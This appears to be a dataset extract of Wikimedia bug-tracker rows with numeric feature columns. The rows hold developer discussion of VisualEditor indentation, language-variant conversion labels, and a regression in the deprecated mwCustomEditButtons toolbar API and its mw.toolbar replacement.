**Severity**: enhancement",Medium,50.0,1367512920,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,False,PHID-TASK-hvvrpcxmtlfovm73otnw,task_description,open,True,c1,1,True,False,,-9,,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,12.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.181818181818182,0.696969696969697,"The indent and outdent buttons are always grayed out.

(reported at URL

--------------------------
**Version**: unspecified
**Severity**: enhancement"
1182848,VisualEditor: Indent buttons should be used for in-/out-denting paragraphs as well as lists.,"Hi,

is this task still active? Indenting (of text) is a much requested feature on my companies wiki.",,,1542962428,,PHID-USER-a5b43na73s7s5vqzeaur,False,,,PHID-TASK-hvvrpcxmtlfovm73otnw,task_subcomment,,True,c1,3,False,,,281,,4.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.5416666666666665,0.9583333333333334,"Hi,

is this task still active? Indenting (of text) is a much requested feature on my companies wiki."
222989,VisualEditor: Indent buttons should be used for in-/out-denting paragraphs as well as lists.,"(In reply to Spinningspark from comment #6)

Sorry, posted this in wrong place.  It was intended for bug 59849",,,1412132162,,PHID-USER-imut7wxehhy35ukuzaks,False,,,PHID-TASK-hvvrpcxmtlfovm73otnw,task_subcomment,,True,c1,3,False,,,65,,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,4.0,19.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.576923076923077,1.0,"(In reply to Spinningspark from comment #6)

Sorry, posted this in wrong place.  It was intended for bug 59849"
222985,VisualEditor: Indent buttons should be used for in-/out-denting paragraphs as well as lists.,"I don't know if this is related, or whether it should be a new bug.  In this edit:

https://en.wikipedia.org/w/index.php?title=User:Spinningspark/Work_in_progress/Mobility_analogy&diff=626824709&oldid=626823704

VE adds a number of spurious indents.  The intended edit was to swap over the order of two blocks of text containing math markup.  Very frustrating that the problem could not even be fixed from within VE since indenting does not function in general.",,,1412131984,,PHID-USER-imut7wxehhy35ukuzaks,False,,,PHID-TASK-hvvrpcxmtlfovm73otnw,task_subcomment,,True,c1,3,False,,,65,,0.0,0.0,1.0,1.0,4.0,9.0,4.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,1.0,1.0,7.0,17.0,0.0,1.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,5.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,15.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,7.0,5.0,9.0,5.0,1.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,3.0,17.0,4.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,3.7066666666666666,0.8,"I don't know if this is related, or whether it should be a new bug.  In this edit:

URL

VE adds a number of spurious indents.  The intended edit was to swap over the order of two blocks of text containing math markup.  Very frustrating that the problem could not even be fixed from within VE since indenting does not function in general."
222980,VisualEditor: Indent buttons should be used for in-/out-denting paragraphs as well as lists.,*** Bug 51530 has been marked as a duplicate of this bug. ***,,,1395359458,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hvvrpcxmtlfovm73otnw,task_subcomment,,True,c1,3,True,,,37,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51530 has been marked as a duplicate of this bug. ***
222974,VisualEditor: Indent buttons should be used for in-/out-denting paragraphs as well as lists.,"(In reply to comment #3)
> Would this also allow the tab key to be used for paragraph indenting (like
> for lists), or should that be filed as a separate bug report?

That'd be the same (the tab and shift-tab keys are bonded to these buttons), so no need for a separate bug report.",,,1375765565,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hvvrpcxmtlfovm73otnw,task_subcomment,,True,c1,3,True,,,5,,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,10.0,0.0,5.0,12.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0238095238095237,0.8333333333333334,"(In reply to comment #3)
QUOTE
QUOTE

That'd be the same (the tab and shift-tab keys are bonded to these buttons), so no need for a separate bug report."
222966,VisualEditor: Indent buttons should be used for in-/out-denting paragraphs as well as lists.,"**mcdevitd** wrote:

Would this also allow the tab key to be used for paragraph indenting (like for lists), or should that be filed as a separate bug report?",,,1375725373,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-hvvrpcxmtlfovm73otnw,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,3.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.4473684210526314,0.868421052631579,"**mcdevitd** wrote:

Would this also allow the tab key to be used for paragraph indenting (like for lists), or should that be filed as a separate bug report?"
222956,VisualEditor: Indent buttons should be used for in-/out-denting paragraphs as well as lists.,"This would be lovely (as a nice-to-have) to get done for the beta.

In practical terms, it means that <p>Foo</p> gets wrapped into <dl><dd><p>Foo</p></dd></dl> and vice versa; all the DM/Parsoid plumbing is there, just needs the indent/outdent commands to be aware of how to operate in the paragraph/preformatted context.",,,1368836909,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hvvrpcxmtlfovm73otnw,task_subcomment,,True,c1,1,True,,,-7,,1.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,11.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,8.0,3.0,1.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,1.0,15.0,7.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,7.0,3.6533333333333333,0.7866666666666666,"This would be lovely (as a nice-to-have) to get done for the beta.

In practical terms, it means that <p>Foo</p> gets wrapped into <dl><dd><p>Foo</p></dd></dl> and vice versa; all the DM/Parsoid plumbing is there, just needs the indent/outdent commands to be aware of how to operate in the paragraph/preformatted context."
222952,VisualEditor: Indent buttons should be used for in-/out-denting paragraphs as well as lists.,"These are for list indenting currently, and do not (yet) do text block indenting. Setting as an enhancement, likely to be after the 'beta' is released.",,,1367545334,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hvvrpcxmtlfovm73otnw,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,3.0,3.0,6.0,6.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,9.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,6.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,3.7058823529411766,0.8529411764705882,"These are for list indenting currently, and do not (yet) do text block indenting. Setting as an enhancement, likely to be after the 'beta' is released."
49913,VisualEditor: Support language variant conversion labels,"Conversion labels shown

The conversion labels (i.e. { } ) for wikis like zhwiki is shown when editing using the VisualEditor.

Those labels should be hidden, or otherwise newbies using the editor will break them easily.

--------------------------
**Version**: unspecified
**Severity**: enhancement

**Attached**: {F10580}",Medium,50.0,1367389920,1430156980.0,PHID-USER-ixwg3kf22idjy7x4ncxf,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-maehbrz5znwar2qitk5b,task_description,duplicate,True,c1,1,False,False,False,-9,,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,3.0,11.0,1.0,1.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,3.0,6.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,4.0,0.0,0.0,1.0,4.1,0.6428571428571429,"Conversion labels shown

The conversion labels (i.e. { } ) for wikis like zhwiki is shown when editing using the VisualEditor.

Those labels should be hidden, or otherwise newbies using the editor will break them easily.

--------------------------
**Version**: unspecified
**Severity**: enhancement

**Attached**: {F10580}"
216987,VisualEditor: Support language variant conversion labels,"This is a mess; Parsoid currently has no support for the language variant conversion syntax in wikitext, but when it does (bug 41716) we should work on this to make it easy to set the different variants.

Sorry that we are not really ready yet for zh; I feel that this is a blocker to deployment in zh, so until it's fixed I think VisualEditor will remain in alpha opt-in deployment there for now.",,,1367435394,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-maehbrz5znwar2qitk5b,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,0.0,1.0,5.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,8.0,17.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,9.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,10.0,2.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,7.0,5.0,1.0,9.0,0.0,0.0,0.0,0.0,6.0,1.0,1.0,0.0,10.0,17.0,2.0,0.0,0.0,0.0,10.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,3.7790697674418605,0.7558139534883721,"This is a mess; Parsoid currently has no support for the language variant conversion syntax in wikitext, but when it does (bug 41716) we should work on this to make it easy to set the different variants.

Sorry that we are not really ready yet for zh; I feel that this is a blocker to deployment in zh, so until it's fixed I think VisualEditor will remain in alpha opt-in deployment there for now."
49872,[Regression] mwCustomEditButtons from user script should work,"From the fall out of bug 47457's resolution:

(bug 47457 comment #63 by Liangent)
> (bug 47457 comment #54 by Krinkle)
> > Change-Id: Ic3d0c937268d0943d2f770f3ca18bcf4e1eed346
> 
> This fix causes breakage of any user of site scripts which assume that
> they're
> loaded before $(document).ready(). Maybe someone can move jQuery.ready() call
> to a position just before </body> and after all other script references?

(bug 47457 comment #64 by matma.rex)
> And it also breaks the old 'mwCustomEditButtons' interface to add custom
> buttons to the old edit toolbar, which apparently everyone and their dog are
> using across the wikis. (Since the user JS is loaded from the bottom queue,
> but
> the toolbar script either from the top or using inline <script> tags with
> $.ready inside.)
> 
> Reopening. Moving the jQuery.ready() call after the bottom queue seems like a
> good idea.


(bug 47457 comment #66 by Brad Jorsch)
> (bug 47457 comment #63 by Liangent)
> > Maybe someone can move jQuery.ready() call to a position just before 
> > </body> and after all other script references?
> 
> (bug 47457 comment #64 by matma.rex)
> > Moving the jQuery.ready() call after the bottom queue seems like a good idea.
> 
> We tried that, see patchset 5 in https://gerrit.wikimedia.org/r/#/c/61057/5.
> It didn't work.
> 
> But unless the browsers were delaying the DOMContentLoaded event until after
> the async-loaded scripts in the bottom queue were loaded, I don't know how
> this wasn't already a problem. Krinkle, any ideas?

A few important questions I'd like answered:

@Liangent: Can you given an example where it matters for a user script whether the document becomes ready before or after they are loaded? The user scripts are loaded from the bottom of the <body> before </body>. Practically the document is already ready at this point, just $(document).ready() hasn't fired yet. Any user script code that isn't wrapped in $(document).ready() will still execute at exactly the same time. Any user script code that *is* wrapped in $(document).ready() will now execute immediately after loading instead of... immediately after loading. Exactly the same, not?

@Matma.rex: You mean the fact that the deprecated mwCustomEditButtons global (unlike the mw.toolbar interface) is inspected only once by mediawiki.action.edit.js, namely at the domready event. And if it is triggered before the user script, adding to that array will become a no-op.

Though there is a lot of usage of this feature, lets not forget the context:

* The mwCustomEditButtons interface is for the classic toolbar (aka ""Monobook editor"", though Vector users can also disable WikiEditor to get to it). This is already a large minority of users.
* The mwCustomEditButtons interace has been deprecated in favour of mw.toolbar.addButton, which I created especially for the legacy toolbar users last year to address the many declined bug reports for mwCustomEditButtons which could not be otherwise addressed because mwCustomEditButtons is beyond repair, it is a flawed concept and it keeps breaking for many reasons.

I don't think anything related to mwCustomEditButtons can justify a change of any kind unless it comes at absolutely no overhead and downside.

@Brad Jorsch: It seems that the Firefox bug with document.write being disabled before DOMContentReady is worse than we thought. It is disabled even before the end of the </body> has been reached. We found through trial-and-error that placing it after the main content but before the bottom queue worked.

As Brad pointed out, $.ready being triggered earlier makes no difference for the bottom queue because they are loaded asynchronously, they always execute without blocking the parser or the DOM ready event. In fact (while designing this) Roan and I made very sure to test this across the entire board of browsers we even remotely support (IE6-10, FF2-17, Chrome10-23, Opera9-11.x). And in any browser that we couldn't load it async, we scheduled the addScript to after dom-ready manually (only in Opera).

However note that the user scripts (like the site scripts) are *not* loaded through mw.loader because we still support legacy global scope for them. They are loaded by a hardcoded script tag in the DOM. Which means they are blocking and used to block dom-ready, and now they run after dom-ready (well, they still block dom-ready, but we trigger that callback queue earlier).

--------------------------
**Version**: 1.22.0
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50310",Medium,50.0,1367327220,1370831532.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-nvh5ejbvixlonbrch4jd,task_description,declined,True,c1,1,True,False,True,-9,,0.875,0.125,0.25,1.625,1.0,3.875,0.75,0.375,0.25,0.25,1.5,0.625,0.125,0.375,0.125,1.375,0.0,6.0,10.0,0.125,0.5,0.0,0.125,0.125,0.875,0.125,0.0,0.125,0.625,0.5,0.0,4.75,1.125,1.25,0.625,0.25,0.125,0.25,0.25,0.0,0.25,1.125,0.875,1.25,0.25,0.125,0.25,0.25,0.25,12.375,0.375,0.625,0.0,0.25,0.0,0.25,0.0,0.375,0.75,0.0,0.0,1.125,0.0,0.25,0.375,0.25,0.0,5.125,2.75,10.375,1.75,1.5,7.25,0.0,0.0,0.0,0.375,2.5,0.125,1.75,0.0,4.125,10.0,5.625,0.25,0.25,0.0,4.125,0.0,0.875,1.125,0.125,1.125,0.375,0.0,0.75,4.045454545454545,0.6704545454545455,"From the fall out of bug 47457's resolution:

(bug 47457 comment #63 by Liangent)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

(bug 47457 comment #64 by matma.rex)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE


(bug 47457 comment #66 by Brad Jorsch)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

A few important questions I'd like answered:
SCREEN_NAME: Can you given an example where it matters for a user script whether the document becomes ready before or after they are loaded? The user scripts are loaded from the bottom of the <body> before </body>. Practically the document is already ready at this point, just $(document).ready() hasn't fired yet. Any user script code that isn't wrapped in $(document).ready() will still execute at exactly the same time. Any user script code that *is* wrapped in $(document).ready() will now execute immediately after loading instead of... immediately after loading. Exactly the same, not?
SCREEN_NAME.rex: You mean the fact that the deprecated mwCustomEditButtons global (unlike the mw.toolbar interface) is inspected only once by mediawiki.action.edit.js, namely at the domready event. And if it is triggered before the user script, adding to that array will become a no-op.

Though there is a lot of usage of this feature, lets not forget the context:

* The mwCustomEditButtons interface is for the classic toolbar (aka ""Monobook editor"", though Vector users can also disable WikiEditor to get to it). This is already a large minority of users.
* The mwCustomEditButtons interace has been deprecated in favour of mw.toolbar.addButton, which I created especially for the legacy toolbar users last year to address the many declined bug reports for mwCustomEditButtons which could not be otherwise addressed because mwCustomEditButtons is beyond repair, it is a flawed concept and it keeps breaking for many reasons.

I don't think anything related to mwCustomEditButtons can justify a change of any kind unless it comes at absolutely no overhead and downside.
SCREEN_NAME Jorsch: It seems that the Firefox bug with document.write being disabled before DOMContentReady is worse than we thought. It is disabled even before the end of the </body> has been reached. We found through trial-and-error that placing it after the main content but before the bottom queue worked.

As Brad pointed out, $.ready being triggered earlier makes no difference for the bottom queue because they are loaded asynchronously, they always execute without blocking the parser or the DOM ready event. In fact (while designing this) Roan and I made very sure to test this across the entire board of browsers we even remotely support (IE6-10, FF2-17, Chrome10-23, Opera9-11.x). And in any browser that we couldn't load it async, we scheduled the addScript to after dom-ready manually (only in Opera).

However note that the user scripts (like the site scripts) are *not* loaded through mw.loader because we still support legacy global scope for them. They are loaded by a hardcoded script tag in the DOM. Which means they are blocking and used to block dom-ready, and now they run after dom-ready (well, they still block dom-ready, but we trigger that callback queue earlier).

--------------------------
**Version**: 1.22.0
**Severity**: minor
**See Also**:
URL"
214646,[Regression] mwCustomEditButtons from user script should work,"(In reply to comment #10)
...
> I'd recommend we add some code to mediawiki.action.edit to periodically check
> mwCustomEditButtons. Then immediately deprecate it (not removing it, just
> marking it as deprecated) and phasing it out over the following weeks (I'd
> like
> to add it to the js-deprecations train roll-out in May which will introduce
> mw.log.deprecate and console.warn messages that users can use to easily see
> if
> they are using something that is deprecated).

I requested this on bug 50310 so we don't forget.",,,1372357726,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-nvh5ejbvixlonbrch4jd,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,5.0,0.0,5.0,8.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,5.0,0.0,5.0,0.0,5.0,8.0,15.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.948717948717949,0.6153846153846154,"(In reply to comment #10)
...
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I requested this on bug 50310 so we don't forget."
214638,[Regression] mwCustomEditButtons from user script should work,"Closing this as wontfix.

The classic edit toolbar has long been deprecated. The default was replaced with WikiEditor on Wikimedia in a 2010 deployment. And since a few releases it is now bundled with new MediaWiki releases as well.

Since then development has started on [[mw:VisualEditor]] which will be launched soon.

Despite all that, I've spend a fair amount of effort over the last months to come up with a brand new API for the classic edit toolbar: mw.toolbar because mwCustomEditButtons is fundamentally flawed and cannot be repaired and kept up with the latest technologies.

Any and all issues you may have with mwCustomEditButtons are from hereon invalid. Please use mw.toolbar instead. Note that mw.toolbar has nothing to do with WikiEditor or VisualEditor, it is a new API for the classic editor you are so familiar with.

I can't make any promises for how long the classic toolbar and this new mw.toolbar will be supported, but at least it has been renewed to work with all the latest technologies so it should be a relatively cheap burdon for us to maintain.

So, long story short: Change:

> if ( wgAction === 'edit' ) {
>     mwCustomEditButtons[mwCustomEditButtons.length] = {...};
> }

to:

> if ( mw.toolbar ) {
>     mw.toolbar.addButton( { ... } );
> }

If there are any bugs with that, please file a new bug report and be sure to mention ""mw.toolbar"" in its subject. I'll do my best to address if/when there are any issues.",,,1370831532,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-nvh5ejbvixlonbrch4jd,task_subcomment,,True,c1,2,True,,,-3,,2.6666666666666665,0.0,0.0,2.3333333333333335,0.6666666666666666,7.666666666666667,2.0,0.3333333333333333,0.0,0.6666666666666666,1.6666666666666667,1.0,0.0,0.0,0.6666666666666666,1.6666666666666667,0.0,5.333333333333333,13.333333333333334,0.3333333333333333,2.3333333333333335,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,1.0,0.0,4.0,0.3333333333333333,1.6666666666666667,1.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,1.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,13.333333333333334,0.6666666666666666,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,1.0,0.6666666666666666,0.0,0.6666666666666666,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,3.3333333333333335,2.6666666666666665,9.333333333333334,0.0,0.0,0.0,0.0,6.333333333333333,0.6666666666666666,0.3333333333333333,0.0,4.333333333333333,13.333333333333334,3.3333333333333335,0.0,0.6666666666666666,0.0,4.333333333333333,0.0,1.0,2.3333333333333335,0.3333333333333333,0.3333333333333333,0.0,1.3333333333333333,1.0,4.0342809364548495,0.7271062271062272,"Closing this as wontfix.

The classic edit toolbar has long been deprecated. The default was replaced with WikiEditor on Wikimedia in a 2010 deployment. And since a few releases it is now bundled with new MediaWiki releases as well.

Since then development has started on [[mw:VisualEditor]] which will be launched soon.

Despite all that, I've spend a fair amount of effort over the last months to come up with a brand new API for the classic edit toolbar: mw.toolbar because mwCustomEditButtons is fundamentally flawed and cannot be repaired and kept up with the latest technologies.

Any and all issues you may have with mwCustomEditButtons are from hereon invalid. Please use mw.toolbar instead. Note that mw.toolbar has nothing to do with WikiEditor or VisualEditor, it is a new API for the classic editor you are so familiar with.

I can't make any promises for how long the classic toolbar and this new mw.toolbar will be supported, but at least it has been renewed to work with all the latest technologies so it should be a relatively cheap burdon for us to maintain.

So, long story short: Change:

QUOTE
QUOTE
QUOTE

to:

QUOTE
QUOTE
QUOTE

If there are any bugs with that, please file a new bug report and be sure to mention ""mw.toolbar"" in its subject. I'll do my best to address if/when there are any issues."
214630,[Regression] mwCustomEditButtons from user script should work,"We fixed it with Nemo on IRC. For the record, this was because the script ran on all pages (not just edit ones). The simplest way to fix that was to wrap the button definitions in ""if ( mw.toolbar ) { ... }"".",,,1370805496,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-nvh5ejbvixlonbrch4jd,task_subcomment,,True,c1,2,True,,,-4,,2.0,0.0,0.0,0.0,2.0,2.0,4.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,18.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,10.0,4.0,0.0,14.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,18.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.2549019607843137,0.803921568627451,"We fixed it with Nemo on IRC. For the record, this was because the script ran on all pages (not just edit ones). The simplest way to fix that was to wrap the button definitions in ""if ( mw.toolbar ) { ... }""."
214625,[Regression] mwCustomEditButtons from user script should work,"(In reply to comment #9)
> billinghurst, this has nothing to do with switching to the new toolbar;
> mw.toolbar.addButton works with and is intended for the old one, and the
> change
> is just a simple find and replace:
> 
>   Find:         mwCustomEditButtons[mwCustomEditButtons.length] = { ... }
>   Replace with: mw.toolbar.addButton({ ... })
> 
> Just be careful about braces and parentheses.
> 
> Here's an example diff:
> https://nl.wikipedia.org/w/index.php?title=Gebruiker:Romaine/vector.js&diff=37497149&oldid=37497060

This solution didn't work for long, it just broke all JavaScript for me on Meta (most prominently, [[m:WM:LS]]) with:

Timestamp: 09/06/2013 20:03:03
Error: TypeError: mw.toolbar is undefined
Source File: https://bits.wikimedia.org/meta.wikimedia.org/load.php?debug=false&lang=it&modules=user&only=scripts&skin=monobook&user=Nemo+bis&version=20130601T024617Z&*
Line: 1

[MediaWiki 	1.22wmf5 (bad4d50)]",,,1370801419,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-nvh5ejbvixlonbrch4jd,task_subcomment,,True,c1,2,True,,,-4,,1.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,5.0,6.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,27.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,2.0,0.0,4.0,0.0,2.0,6.0,19.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,6.0,3.2371134020618557,0.5463917525773195,"(In reply to comment #9)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
